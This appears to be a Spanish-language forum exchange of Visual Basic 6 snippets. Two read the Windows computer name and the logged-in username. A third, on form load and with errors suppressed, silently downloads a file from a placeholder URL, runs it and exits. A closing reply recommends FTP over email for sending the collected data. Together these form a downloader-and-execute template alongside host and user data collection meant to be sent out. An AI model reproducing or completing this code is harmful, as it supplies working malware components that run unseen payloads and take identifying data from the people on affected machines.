Private Const MAX_COMPUTERNAME_LENGTH As Long = 31
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Sub Form_Load()
    Dim dwLen As Long
    Dim strString As String
    'Create a buffer
    dwLen = MAX_COMPUTERNAME_LENGTH + 1
    strString = String(dwLen, "X")
    'Get the computer name
    GetComputerName strString, dwLen
    'get only the actual data
    strString = Left(strString, dwLen)
    'Show the computer name
    MsgBox strString
End Sub

Private Enum EXTENDED_NAME_FORMAT
    NameUnknown = 0
    NameFullyQualifiedDN = 1
    NameSamCompatible = 2
    NameDisplay = 3
    NameUniqueId = 6
    NameCanonical = 7
    NameUserPrincipal = 8
    NameCanonicalEx = 9
    NameServicePrincipal = 10
End Enum
Private Declare Function GetUserNameEx Lib "secur32.dll" Alias "GetUserNameExA" (ByVal NameFormat As EXTENDED_NAME_FORMAT, ByVal lpNameBuffer As String, ByRef nSize As Long) As Long
Private Sub Form_Load()
    'KPD-Team 2001
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@allapi.net
    Dim sBuffer As String, Ret As Long
    sBuffer = String(256, 0)
    Ret = Len(sBuffer)
    If GetUserNameEx(NameSamCompatible, sBuffer, Ret) <> 0 Then
        MsgBox "Username: " + Left$(sBuffer, Ret)
    Else
        MsgBox "Error while retrieving the username"
    End If
End Sub

Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
On Error Resume Next
If DownloadFile Then
ShellExecuteA Me.hWnd, "Open", "C:\...", vbNullString, vbNullString, 1
DoEvents
End
End If
End Sub

Public Function DownloadFile() As Boolean
On Error Resume Next
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, "http://...", "C:\...", 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function

holas , weno enviar email es facil pero no es estable ni seguro, te recomiendo que uses ftp, es mas seguro y mas rapido, weno spero haber ayudado bye